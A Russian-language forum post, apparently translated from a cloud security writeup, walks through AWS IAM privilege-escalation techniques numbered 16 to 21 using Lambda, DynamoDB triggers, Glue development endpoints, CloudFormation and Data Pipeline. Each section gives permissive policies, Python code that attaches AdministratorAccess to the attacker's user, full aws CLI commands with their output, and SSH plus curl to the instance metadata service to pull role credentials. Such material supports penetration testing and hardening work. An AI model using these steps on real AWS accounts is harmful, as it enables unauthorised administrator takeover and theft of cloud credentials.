Пример

Пример

В данном примере наш злоумышленник является частью одной группы. В группе есть только разрешения iam:РassRole, lambda:CreateFunction и lambda:CreateEventSourceMapping:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": [
        "lambda:CreateFunction",
        "iam:PassRole"
      ],
      "Resource": [
        "arn:aws:iam::*:role/*",
        "arn:aws:lambda:*:*:function:*"
      ]
    },
    {
      "Sid": "VisualEditor1",
      "Effect": "Allow",
      "Action": "lambda:CreateEventSourceMapping",
      "Resource": "*"
    }
  ]
}

Кроме того, учетная запись AWS содержит роль, которую может взять на себя служба Lambda, и которая включает разрешения iam:AttachUserPolicy, dynamodb:GetRecords, dynamodb:GetShardIterator, dynamodb:DescribeStream и dynamodb:ListStreams:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
            "dynamodb:GetShardIterator",
            "iam:AttachUserPolicy",
            "dynamodb:DescribeStream",
            "dynamodb:GetRecords"
            ],
            "Resource": [
                "arn:aws:dynamodb:*:*:table/*/stream/*",
                "arn:aws:iam::*:user/*"
            ]
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": "dynamodb:ListStreams",
            "Resource": "*"
        }
    ]
}

Наконец, учетная запись AWS также содержит подходящую таблицу DynamoDB для эксплойта. Обратите внимание, что в политике, применяемой к группе атакующего, атакующий не имеет никаких прав доступа к DynamoDB.

Для выполнения эксплойта повышения привилегий атакующий сначала создает некоторый код, который при выполнении прикрепляет политику администратора к учетной записи пользователя атакующего:

➜ cat code.py
import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(UserName='privesc_test',PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
    return response

Затем злоумышленник архивирует файл кода и создает новую лямбда-функцию. В команде AWS, приведенной ниже, атакующий передает лямбда-роль с необходимыми разрешениями на эту функцию. Кроме того, обратите внимание, что обработчик - это имя python файл но без расширения, за которым следует определенная функция.

➜ aws lambda create-function --function-name privesc16 --runtime python3.6 --role arn:aws:iam::[REDACTED]:role/privesc16lambda --handler code.lambda_handler --zip-file fileb://function.zip --region us-west-2 --profile privesc
{
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "CodeSha256": "ZP3U8CIrgroYQtPVj6OC5vKOq2+4ltt/LtyWZTgnlUo=",
    "FunctionName": "privesc16",
    "CodeSize": 322,
    "RevisionId": "458c5bf7-1920-47a3-a5ad-2ec5a84e64b5",
    "MemorySize": 128,
    "FunctionArn": "arn:aws:lambda:us-west-2:[REDACTED]:function:privesc16",
    "Version": "$LATEST",
    "Role": "arn:aws:iam::[REDACTED]:role/privesc16lambda",
    "Timeout": 3,
    "LastModified": "2019-09-06T17:27:17.721+0000",
    "Handler": "code.lambda_handler",
    "Runtime": "python3.6",
    "Description": ""
}

Функция повышения привилегий теперь существует, но у злоумышленника нет прав на прямое обращение к ней. Вместо этого злоумышленник связывает ее с существующей таблицей DynamoDB:

➜ aws lambda create-event-source-mapping --function-name privesc16 --event-source-arn arn:aws:dynamodb:us-west-2:[REDACTED]:table/privesc16/stream/2019-09-06T17:22:31.019 --enabled --starting-position LATEST --region us-west-2 --profile privesc
{
    "UUID": "ca8ecd70-d87d-48a9-88e1-e0e673d23931",
    "StateTransitionReason": "User action",
    "LastModified": 1567790875.465,
    "BatchSize": 100,
    "EventSourceArn": "arn:aws:dynamodb:us-west-2:[REDACTED]:table/privesc16/stream/2019-09-06T17:22:31.019",
    "FunctionArn": "arn:aws:lambda:us-west-2:[REDACTED]:function:privesc16",
    "State": "Creating",
    "LastProcessingResult": "No records processed"
}

Поскольку злоумышленник не имеет прав доступа к DynamoDB, загрузить новую строку и вызвать эксплойт невозможно. Вместо этого злоумышленнику нужно подождать, пока другой пользователь или служба не обновит таблицу. Команда ниже показывает другого пользователя AWS, загружающего строку в таблицу. Обратите внимание на отсутствие профиля privesc, указывающего на то, что эта команда использует различные AWS API ключи:

➜ aws dynamodb put-item --table-name privesc16 --item '{"test":{"S":"whatever"}}' --region us-west-2

Действие на таблице DynamoDB вызвало выполнение связанной с ней функции Lambda, что привело к повышению разрешений злоумышленника:

Этот метод повышения привилегий проще, если атакующий также имеет права dynamicamodb:CreateTable и dynamodb:putItem, поскольку в этом случае атакующий может создать подходящую таблицу DynamoDB и загрузить в нее элемент для запуска эксплойта. Однако вышеприведенный пример был использован для демонстрации повышения привилегий с помощью минимально требуемых прав.

17 - lambda:UpdateFunctionCode
Описание

Пользователи с разрешением lambda:UpdateFunctionCode могут изменять код существующей функции Lambda таким образом, что она повышает их привилегии при вызове.

Требования

• Учетная запись AWS должна содержать существующую функцию Lambda, к которой прикреплена роль, имеющая разрешение iam:AttachUserPolicy.

Пример

Пример

В данном примере атакующий является частью одной группы. Группа имеет только одно разрешение, которое заключается в обновлении кода для любых существующих функций Lambda:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "lambda:UpdateFunctionCode",
      "Resource": "arn:aws:lambda:*:*:function:*"
    }
  ]
}

Кроме того, среда AWS содержит существующую функцию Lambda, к которой прикреплена роль с разрешением iam:AttachUserPolicy:

➜ aws lambda get-function --function-name JustSomeFunction --region us-west-2
{
    "Code": {
        "RepositoryType": "S3",
        "Location": "[REDACTED]"
    },
    "Configuration": {
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "Version": "$LATEST",
        "CodeSha256": "nBROqRRnPydRdJHmzI1n2LymcOL1BuQMcpBIi5GivB8=",
        "FunctionName": "JustSomeFunction",
        "MemorySize": 128,
        "RevisionId": "0b12c53f-9684-4df4-9223-d39b8226eeef",
        "CodeSize": 344,
        "FunctionArn": "arn:aws:lambda:us-west-2:[REDACTED]:function:JustSomeFunction",
        "Handler": "lambda_function.lambda_handler",
        "Role": "arn:aws:iam::[REDACTED]:role/privesc17lambda",
        "Timeout": 3,
        "LastModified": "2019-09-09T17:09:13.858+0000",
        "Runtime": "python3.6",
        "Description": ""
    }
}

При обновлении кода функции Lambda имя файла кода должно совпадать с именем обработчика существующей функции Lambda. Имя обработчика целевой функции - lambda_function, как показано в выводе выше. Поэтому имя нашего файла кода должно совпадать с именем lambda_function.py:

➜ cat lambda_function.py
import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(UserName='privesc_test',PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
    return response
➜ zip function.zip lambda_function.py
adding: lambda_function.py (deflated 27%)

Теперь злоумышленник может обновить код функции Lambda следующей командой:

➜ aws lambda update-function-code --function-name JustSomeFunction --zip-file fileb://function.zip --region us-west-2 --profile privesc
{
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "CodeSha256": "ZP3U8CIrgroYQtPVj6OC5vKOq2+4ltt/LtyWZTgnlUo=",
    "FunctionName": "JustSomeFunction",
    "CodeSize": 322,
    "RevisionId": "6e4dcd43-ae62-409e-a590-fc608328b10c",
    "MemorySize": 128,
    "FunctionArn": "arn:aws:lambda:us-west-2:[REDACTED]:function:JustSomeFunction",
    "Version": "$LATEST",
    "Role": "arn:aws:iam::[REDACTED]:role/privesc17lambda",
    "Timeout": 3,
    "LastModified": "2019-09-09T17:02:49.324+0000",
    "Handler": "lambda_function.lambda_handler",
    "Runtime": "python3.6",
    "Description": ""
}

Когда функция будет выполнена, привилегии атакующего будут повышены. Если у злоумышленника есть разрешение lambda:InvokeFunction, то можно просто вызвать функцию напрямую. Иначе это произойдет, когда функцию будет выполнять другой пользователь или служба. В приведенном ниже примере функцию выполняет другой пользователь. Обратите внимание на отсутствие в команде флага --profile privesc, что указывает на то, что для выполнения этой команды использовался другой набор ключей API:

➜ aws lambda invoke --function-name JustSomeFunction output.txt --region us-west-2
{
    "ExecutedVersion": "$LATEST",
    "StatusCode": 200
}

Теперь атакующий имеет полные права администратора в среде AWS.

18 - iam:РassRole, glue:CreateDevEndpoint, and glue:GetDevEndpoint(s)
Описание

Пользователи с разрешениями iam:РassRole, glue:CreateDevEndpoint и glue:GetDevEndpoint/glue:GetDevEndpoints могут создать новую конечную точку разработки Glue, передать ей существующую роль для повышения привилегий, а затем передача происходит через SSH, в конечную точку для получения мандатов роли.

Требования

• Учетная запись AWS должна содержать роль, которую разрешено выполнять службе AWS Glue. В идеале эта роль должна иметь разрешения, превышающие те, что есть у злоумышленника на данный момент.
• Замечание: glue:GetDevEndpoint и glue:GetDevEndpoints делают одно и то же, за исключением того, что glue:GetDevEndpoints возвращает все конечные точки. Любое из этих разрешений работает для данного повышения привилегий.

Пример

Пример

В данном примере атакующий является частью одной группы. Групповые разрешения включают только iam:РassRole, glue:CreateDevEndpoint и glue:GetDevEndpoint:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:PassRole",
      "Resource": "arn:aws:iam::*:role/*"
    },
    {
      "Sid": "VisualEditor1",
      "Effect": "Allow",
      "Action": [
      "glue:CreateDevEndpoint",
      "glue:GetDevEndpoint"
      ],
      "Resource": "*"
    }
  ]
}

Учетная запись AWS содержит роль, которую служба Glue может взять на себя. В данном примере эта роль предоставляет доступ администратору. Атакующий может создать конечную точку разработки Glue с помощью следующей команды:

➜ aws glue create-dev-endpoint --endpoint-name privesctest --role-arn arn:aws:iam::[REDACTED]:role/adminaccess --public-key file:///home/user/.ssh/id_rsa.pub --region us-west-2 --profile privesc
{
    "Status": "PROVISIONING",
    "AvailabilityZone": "us-west-2b",
    "RoleArn": "arn:aws:iam::[REDACTED]:role/adminaccess",
    "ZeppelinRemoteSparkInterpreterPort": 0,
    "CreatedTimestamp": 1568051506.291,
    "EndpointName": "privesctest",
    "SecurityGroupIds": [],
    "NumberOfNodes": 5
}

Для того чтобы войти в SSH конечной точки, атакующему необходимо сначала запросить публичный IP-адрес конечной точки. Именно поэтому требуется разрешение glue:GetDevEndpoint. Без этого разрешения злоумышленник не сможет узнать публичный IP SSH. Следующая команда используется для получения публичного IP-адреса конечной точки:

➜ aws glue get-dev-endpoint --endpoint-name privesctest --region us-west-2 --profile privesc
{
    "DevEndpoint": {
        "Status": "READY",
        "AvailabilityZone": "us-west-2b",
        "PublicAddress": "ec2-34-219-22-24.us-west-2.compute.amazonaws.com",
        "RoleArn": "arn:aws:iam::[REDACTED]:role/adminaccess",
        "ZeppelinRemoteSparkInterpreterPort": 9007,
        "CreatedTimestamp": 1568051506.291,
        "PublicKey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsZC2WfDMbFonVuwBnYqRKl1MTU+hHWrOb9lnbPfNJlBBYl2L68qx2bRmo68qib4yxopajiHxhZ5prnrIoOONE0pCyDQqgaEyOSuhZLlXdLyKDptdc0ogRNTVyl6im9z1Wum7Bee2jFuWA8AOOvfpBRJzDLity5n0fVVHEIBQE39Ac2FLQccBElEG3Df2DICypX6EHl1q/dL1fKHOYdMVTpiiiM2C8/eK+pKLAwByuHmFPIzmC7KTMRuH7HWrhqYNAOXctQlsT/k7kUgReILKaUw/6J+GMwG58kOtc/oquvGNwrRv3vb7jwAfblBVFI6ZDNpEqihye++oT7EUJbRYb",
        "EndpointName": "privesctest",
        "SecurityGroupIds": [],
        "LastModifiedTimestamp": 1568053728.65,
        "NumberOfNodes": 5
    }
}

Имея публичный IP, атакующий может теперь войти в SSH на конечной точке разработки Glue и запросить AWS мандаты, связанные с ролью конечной точки:

➜ ssh glue@ec2-34-219-22-24.us-west-2.compute.amazonaws.com -i ~/.ssh/id_rsa
ECDSA key fingerprint is SHA256:sWZHQNfzXXK02l2ShsM55i4fwyFv1YeCmaLUK0VmJLA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'ec2-34-219-22-24.us-west-2.compute.amazonaws.com,34.219.22.24' (ECDSA) to the list of known hosts.

__| __|_ )
_| ( / Amazon Linux AMI
___|\___|___|

[glue@ip-172-32-41-101 ~]$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
{
    "AccessKeyId":"[REDACTED]",
    "SecretAccessKey":"[REDACTED]",
    "Token":"[REDACTED]",
    "Expiration":"2019-09-09T19:53:26.922Z"
}

Атакующий теперь имеет полные права администратора на AWS среду.

19 - glue:UpdateDevEndpoint and glue:GetDevEndpoint(s)
Описание

Пользователи с правами доступа glue:UpdateDevEndpoint могут изменить SSH ключ, связанный с существующей конечной точкой Glue, чтобы получить SSH доступ к конечной точке, а затем получить учетные данные для ассоциированной роли.

Требования

• Учетная запись AWS должна содержать существующую конечную точку Glue с привязанной к ней ролью, которая имеет разрешения, превышающие те, что есть у злоумышленника в настоящее время.
• Замечание: glue:GetDevEndpoint и glue:GetDevEndpoints делают одно и то же, за исключением того, что glue:GetDevEndpoints возвращает все конечные точки. Любое из этих разрешений работает для данного повышения привилегий.

Пример

Пример

В данном примере атакующий является частью одной группы. Группа предоставляет только права доступа glue:UpdateDevEndpoint и glue:GetDevEndpoints:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": [
        "glue:GetDevEndpoints",
        "glue:UpdateDevEndpoint"
      ],
      "Resource": "*"
    }
  ]
}

Учетная запись AWS имеет существующую конечную точку разработки Glue. В данном примере роль, прикрепленная к конечной точке, является ролью администратора.

Сначала злоумышленнику необходимо получить публичный IP-адрес конечной точки. Кроме того, злоумышленнику необходимо определить публичный SSH ключ, связанный с конечной точкой:

➜ aws glue get-dev-endpoints --region us-west-2 --profile privesc
{
    "DevEndpoints": [
    {
        "Status": "READY",
        "LastUpdateStatus": "PENDING",
        "AvailabilityZone": "us-west-2c",
        "PublicAddress": "ec2-18-237-208-23.us-west-2.compute.amazonaws.com",
        "RoleArn": "arn:aws:iam::[REDACTED]:role/adminaccess",
        "ZeppelinRemoteSparkInterpreterPort": 9007,
        "CreatedTimestamp": 1568063674.514,
        "PublicKeys": [
        "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsZC2WfDMbFonVuwBnYqRKl1MTU+hHWrOb9lnbPfNJlBBYl2L68qx2bRmo68qib4yxopajiHxhZ5prnrIoOONE0pCyDQqgaEyOSuhZLlXdLyKDptdc0ogRNTVyl6im9z1Wum7Bee2jFuWA8AOOvfpBRJzDLity5n0fVVHEIBQE39Ac2FLQccBElEG3Df2DICypX6EHl1q/dL1fKHOYdMVTpiiiM2C8/eK+pKLAwByuHmFPIzmC7KTMRuH7HWrhqYNAOXctQlsT/k7kUgReILKaUw/6J+GMwG58kOtc/oquvGNwrRv3vb7jwAfblBVFI6ZDNpEqihye++oT7EUJbRYb"
        ],
        "EndpointName": "privesc",
        "SecurityGroupIds": [],
        "LastModifiedTimestamp": 1568065000.21,
        "NumberOfNodes": 5
    }]
}

Изначально злоумышленник не может подключится к конечной точки разработки Glue, используя SSH:

➜ ssh glue@ec2-18-237-208-23.us-west-2.compute.amazonaws.com -i ~/.ssh/attackerkey
glue@ec2-18-237-208-23.us-west-2.compute.amazonaws.com: Permission denied (publickey).

Так как у злоумышленника есть разрешение glue:UpdateDevEndpoint, он может просто обновить SSH ключ, связанный с определенным экземпляром. Однако для этого им сначала нужно удалить существующий SSH-ключ из экземпляра. Если атакующий не способен это сделать, то появится сообщения об ошибке при попытке загрузить новый ключ ("Cannot modify 'PublicKey' when multiple public keys are associated"), даже если с конечной точкой связан только один ключ:

➜ aws glue update-dev-endpoint --endpoint-name privesc --delete-public-keys "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsZC2WfDMbFonVuwBnYqRKl1MTU+hHWrOb9lnbPfNJlBBYl2L68qx2bRmo68qib4yxopajiHxhZ5prnrIoOONE0pCyDQqgaEyOSuhZLlXdLyKDptdc0ogRNTVyl6im9z1Wum7Bee2jFuWA8AOOvfpBRJzDLity5n0fVVHEIBQE39Ac2FLQccBElEG3Df2DICypX6EHl1q/dL1fKHOYdMVTpiiiM2C8/eK+pKLAwByuHmFPIzmC7KTMRuH7HWrhqYNAOXctQlsT/k7kUgReILKaUw/6J+GMwG58kOtc/oquvGNwrRv3vb7jwAfblBVFI6ZDNpEqihye++oT7EUJbRYb" --region us-west-2 --profile privesc

После удаления существующего SSH ключа, атакующий может загрузить свой собственный:

➜ ~ aws glue update-dev-endpoint --endpoint-name privesc --public-key file:///home/user/.ssh/attackerkey.pub --region us-west-2 --profile privesc

Теперь атакующий может загрузить SSH в конечную точку:

➜ ssh glue@ec2-18-237-208-23.us-west-2.compute.amazonaws.com -i ~/.ssh/attackerkey
ECDSA key fingerprint is SHA256:dee/4hjhEuTZg07knG6cAgHTlrYNp0OqhsmUcYLE/G8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'ec2-18-237-208-23.us-west-2.compute.amazonaws.com,18.237.208.23' (ECDSA) to the list of known hosts.

__| __|_ )
_| ( / Amazon Linux AMI
___|\___|___|

[glue@ip-172-32-68-141 ~]$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
{

    "AccessKeyId":"[REDACTED]",
    "SecretAccessKey":"[REDACTED]",
    "Token":"[REDACTED]",
    "Expiration":"2019-09-09T22:36:23.898Z"
}

Атакующий теперь имеет полные права администратора на AWS-среду.

20 - iam:РassRole, cloudformation:CreateStack, and cloudformation:Describe Stacks
Описание

Пользователи с iam:РassRole, cloudformation:CreateStack и cloudformation:DescribeStacks могут создавать новый стек CloudFormation, который в свою очередь создает AWS ресурсы от имени пользователя. Он может использоваться для создания ресурсов с разрешениями, превышающими те, которые у пользователя есть в настоящее время.

Требования

• Учетная запись AWS должна содержать роль, которую может взять на себя CloudFormation, и которая имеет адекватные права на повышение привилегий. Нет определенного списка этих прав, потому что многие пути эскалации возможны через CloudFormation.
• Замечание: При использовании CloudFormation нет конкретного пути повышения привилегий. Поскольку злоумышленник может инструктировать CloudFormation по раскручиванию ресурсов AWS, существуют различные способы решения этой проблемы. Например, создание нового пользователя с правами администратора, как показано в примере ниже. Другим вариантом является раскрутка инстанса EC2, передача ему роли администратора, а затем SSH в этот экземпляр, как описано в одной из других техник повышения привилегий. Следовательно, требуется специальное исследование ролей, которые пользователь может передать в CloudFormation, чтобы посмотреть, какие пути эскалации привилегий возможны.

Пример

Пример

В данном примере атакующий является частью одной группы. Группа предоставляет только iam:РassRole, cloudformation:CreateStack и [COLOR=rgb(61, 142, 185)]cloudformation:DescribeStacks[/COLOR]:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": [
        "iam:PassRole",
        "cloudformation:CreateStack",
        "cloudformation:DescribeStacks"
      ],
      "Resource": [
        "arn:aws:cloudformation:*:*:stack/*/*",
        "arn:aws:iam::*:role/*"
      ]
    }
  ]
}

Хотя разрешение [COLOR=rgb(61, 142, 185)]cloudformation:DescribeStacks[/COLOR] не нужно для раскрутки ресурсов AWS через CloudFormation, необходимо читать результаты из стека CloudFormation.

Среда AWS содержит роль с именем adminaccess, которая может быть взята на себя из CloudFormation и которая имеет права, необходимые для создания желаемых ресурсов AWS.

Чтобы использовать CloudFormation для повышения привилегий, атакующий должен предоставить шаблон, который инструктирует CloudFormation о ресурсах, которые он должен создать в среде AWS. Самый простой способ предоставить такой шаблон - через S3 URL:

➜ curl https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json
{
    "Resources": {
        "AdminUser": {
            "Type": "AWS::IAM::User"
        },
        "AdminPolicy": {
            "Type": "AWS::IAM::ManagedPolicy",
                "Properties": {
                "Description" : "This policy allows all actions on all resources.",
                "PolicyDocument": {
                    "Version": "2012-10-17",
                    "Statement": [
                    {
                        "Effect": "Allow",
                        "Action": [
                        "*"
                        ],
                        "Resource": "*"
                    }]
                },
                "Users": [{
                    "Ref": "AdminUser"
                }]
            }
        },
        "MyUserKeys": {
            "Type": "AWS::IAM::AccessKey",
            "Properties": {
                "UserName": {
                    "Ref": "AdminUser"
                }
            }
        }
    },
    "Outputs": {
        "AccessKey": {
            "Value": {
                "Ref": "MyUserKeys"
            },
            "Description": "Access Key ID of Admin User"
        },
        "SecretKey": {
            "Value": {
                "Fn::GetAtt": [
                "MyUserKeys",
                "SecretAccessKey"
                ]
            },
            "Description": "Secret Key of Admin User"
        }
    }
}

Атакующий выдает следующую команду для создания стека и связанных с ним ресурсов AWS:

➜ aws cloudformation create-stack --stack-name privesc --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json --role arn:aws:iam::[REDACTED]:role/adminaccess --capabilities CAPABILITY_IAM --region us-west-2 --profile privesc
{
    "StackId": "arn:aws:cloudformation:us-west-2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e"
}

После этого атакующий может прочитать результаты, предоставленные CloudFormation, чтобы получить ключи API, связанные с новым пользователем:

➜ aws cloudformation describe-stacks --stack-name arn:aws:cloudformation:us-west-2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e --region us-west-2 --profile privesc
{
    "Stacks": [
    {
        "StackId": "arn:aws:cloudformation:us-west-2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e",
        "DriftInformation": {
            "StackDriftStatus": "NOT_CHECKED"
        },
        "DeletionTime": "2019-09-10T19:21:14.658Z",
        "Tags": [],
        "Outputs": [
        {
            "Description": "Secret Key of Admin User",
            "OutputKey": "SecretKey",
            "OutputValue": "[REDACTED]"
        },
        {
            "Description": "Access Key ID of Admin User",
            "OutputKey": "AccessKey",
            "OutputValue": "[REDACTED]"
        }
        ],
        "RoleARN": "arn:aws:iam::[REDACTED]:role/adminaccess",
        "CreationTime": "2019-09-10T19:16:25.246Z",
        "Capabilities": [
        "CAPABILITY_IAM"
        ],
        "StackName": "privesc",
        "NotificationARNs": [],
        "StackStatus": "DELETE_COMPLETE",
        "DisableRollback": false,
        "RollbackConfiguration": {}
    }]
}

После добавления учетных данных API к новому профилю AWS (в примере с именем adminprofile), атакующий теперь может выдавать AWS-команды в качестве административного пользователя:

➜ aws sts get-caller-identity --profile adminuser
{
    "Account": "[REDACTED]",
    "UserId": "AIDAS4WERQEFHKXGHQG4W",
    "Arn": "arn:aws:iam::[REDACTED]:user/privesc-AdminUser-BSFB62XQGIY8"
}

21 - iam:РassRole, datapipeline:CreatePipeline, datapipeline:РutPipelineDefinition, and datapipeline:ActivatePipeline
Описание

Пользователи с разрешениями iam:РassRole, datapipeline:CreatePipeline, datapipeline:РutPipelineDefinition и datapipeline:ActivatePipeline могут создавать новую линию Data Pipeline, передавать ей существующую роль, которая имеет больше прав, чем у пользователя в настоящее время, а затем использовать линию Data Pipeline для повышения привилегий.

Требования

• Учетная запись AWS должна содержать роль, которую может взять на себя компания Data Pipeline, и которая имеет соответствующие разрешения на повышение привилегий. Нет определенного списка этих разрешений, так как многие пути эскалации возможны через Data Pipeline.
• Учетная запись AWS должна содержать вторую роль, которую может взять на себя служба, которую атакующий хочет использовать для повышения привилегий.
  • В приведенном ниже примере этой службой является EC2. Роль в данном случае та же самая, что и Data Pipeline (adminaccess), но на практике они могут быть двумя отдельными ролями.
• Примечание: При использовании Data Pipeline конкретного пути повышения привилегий не существует. Поскольку злоумышленник может инструктировать Data Pipeline по раскручиванию ресурсов AWS, существуют различные способы решения этой проблемы. Например, добавление пользователя в группу Admin, как показано в примере ниже. Другим вариантом является раскрутка экземпляра EC2, передача ему роли администратора, а затем SSH в этот экземпляр, как описано в одной из других техник повышения привилегий. Следовательно, требуется специальное исследование ролей, которые пользователь может передать Data Pipeline, чтобы посмотреть, какие пути эскалации привилегий могут быть возможны.

Пример

Пример

В данном примере атакующий является частью одной группы. Группа предоставляет только разрешения iam:РassRole, datapipeline:CreatePipeline, datapipeline:РutPipelineDefinition , и datapipeline:ActivatePipeline:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:PassRole",
      "Resource": "arn:aws:iam::*:role/*"
    },
    {
      "Sid": "VisualEditor1",
      "Effect": "Allow",
      "Action": [
        "datapipeline:CreatePipeline",
        "datapipeline:PutPipelineDefinition",
        "datapipeline:ActivatePipeline"
      ],
      "Resource": "*"
    }
  ]
}

Среда AWS содержит роль с именем adminaccess, которая может быть принята службой Data Pipeline и которая имеет разрешения, необходимые для создания желаемых ресурсов AWS.

Чтобы создать новую линию данных из интерфейса командной строки AWS, злоумышленнику нужно указать файл определения, который будет указывать конвейеру, что делать. В этом примере злоумышленник собирается раскрутить инстанс EC2, передать ему роль с привилегиями, которых нет у учетной записи злоумышленника, а затем использовать этот экземпляр для добавления учетной записи злоумышленника в группу Admin:

➜ cat privesc.json
{
    "objects": [
    {
        "id" : "CreateDirectory",
        "type" : "ShellCommandActivity",
        "command" : "aws iam add-user-to-group --group-name Admin --user-name privesc_test",
        "runsOn" : {"ref": "instance"}
    },
    {
        "id": "Default",
        "scheduleType": "ondemand",
        "failureAndRerunMode": "CASCADE",
        "name": "Default",
        "role": "adminAccess",
        "resourceRole": "adminAccess"
    },
    {
        "id" : "instance",
        "name" : "instance",
        "type" : "Ec2Resource",
        "actionOnTaskFailure" : "terminate",
        "actionOnResourceFailure" : "retryAll",
        "maximumRetries" : "1",
        "instanceType" : "t2.micro",
        "securityGroups" : ["default"],
        "keyPair" : "test",
        "role" : "adminaccess",
        "resourceRole" : "adminaccess"
    }]
}

Для создания Data Pipeline , атакующий выполняет следующую команду:

➜ aws datapipeline create-pipeline --name privesc --unique-id privesctest --region us-west-2 --profile privesc
{
"pipelineId": "df-04388033NWCCTN7LJPNU"
}

После создания "конвейер" атакующий редактирует определение конвейера. Пока AWS выдает некоторые предупреждения, результат указывает на то, что команда не выдала ошибку и, следовательно, была успешной:

➜ aws datapipeline put-pipeline-definition --pipeline-id df-04388033NWCCTN7LJPNU --pipeline-definition file://privesc.json --region us-west-2 --profile privesc
{
    "validationErrors": [],
    "errored": false,
    "validationWarnings": [
    {
        "id": "instance",
        "warnings": [
        "No policy attached to the role - unable to validate policy for 'adminaccess'",
        "No policy attached to the role - unable to validate policy for 'adminaccess'",
        "'terminateAfter' is missing. It is recommended to set this to avoid leaving resource running for long duration."
        ]
    },
    {
    "id": "Default",
    "warnings": [
    "'pipelineLogUri'is missing. It is recommended to set this value on Default object for better troubleshooting."
    ]
    }]
}

Наконец, чтобы запустить «конвейер», атакующему необходимо его активировать. В случае успеха эта команда не дает никакого результата:

➜ ~ aws datapipeline activate-pipeline --pipeline-id df-04388033NWCCTN7LJPNU --region us-west-2 --profile privesc

На раскрутку инстанса EC2 уходит пара минут, но после этого команда, определенная в конвейера данных, выполнит его и добавит учетную запись злоумышленника в группу Admin. Теперь атакующий имеет полный административный доступ к среде AWS.

 

[Bokucha]

Спасибо за старания.